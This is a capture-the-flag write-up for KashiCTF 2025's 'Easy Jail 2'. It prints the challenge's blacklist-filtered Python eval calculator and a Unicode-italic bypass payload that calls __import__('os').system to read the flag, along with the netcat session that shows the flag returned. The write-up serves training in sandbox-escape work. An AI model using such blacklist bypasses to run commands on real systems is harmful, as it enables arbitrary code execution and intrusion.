Easy Jail 2

by sealldev
đŸš© CTFs KashiCTF 2025 misc
Suggested: #python-jail
Easy Jail 2 / KashiCTF 2025
Easy Jail 2

Description

I made a completely secure calculator this time.

Original Writeup on seall.dev

#!/usr/bin/env python3

print("           _            _       _             ")
print("          | |          | |     | |            ")
print("  ___ __ _| | ___ _   _| | __ _| |_ ___  _ __ ")
print(" / __/ _` | |/ __| | | | |/ _` | __/ _ \| '__|")
print("| (_| (_| | | (__| |_| | | (_| | || (_) | |   ")
print(" \___\__,_|_|\___|\__,_|_|\__,_|\__\___/|_|   ")

BLACKLIST = ["open", "input", "eval", "exec", "import", "getattr", "sh", "builtins", "global"]
def calc(op):
	try :
		res = eval(op)
	except Exception as e:
		print(e)
		return print("Wrong operation")
	return print(f"{op} --> {res}")

def main():
	while True :
		inp = input(">> ")
		if any(bad in inp for bad in BLACKLIST) :
			print("Are you tying to hack me !!!!!")
		else :
			calc(inp)

if __name__ == '__main__':
	main()

Looking at the jail (compared to the previous) restricts words (such as import), our previous solution (__import__('os').system('cat ../flag.txt')) no longer worked due to import being a blocked word.

Looking at the PyJail material online we can use a unicode bypass.

I make the following payload: __đ˜Șđ˜źđ˜±đ˜°đ˜łt__('os').system('cat ../flag.txt')

Which then returns the flag from the remote:

$ nc kashictf.iitbhucybersec.in 56261
           _            _       _
          | |          | |     | |
  ___ __ _| | ___ _   _| | __ _| |_ ___  _ __
 / __/ _` | |/ __| | | | |/ _` | __/ _ \| '__|
| (_| (_| | | (__| |_| | | (_| | || (_) | |
 \___\__,_|_|\___|\__,_|_|\__,_|\__\___/|_|
>> __đ˜Șđ˜źđ˜±đ˜°đ˜łt__('os').system('cat ../flag.txt')
KashiCTF{C4N_S71LL_CL3AR_8L4CKL15T_ewBkDkyO}

Flag: KashiCTF{C4N_S71LL_CL3AR_8L4CKL15T_ewBkDkyO}

Share this writeup

Contribute

Found an issue or want to improve this writeup?

Edit on GitHub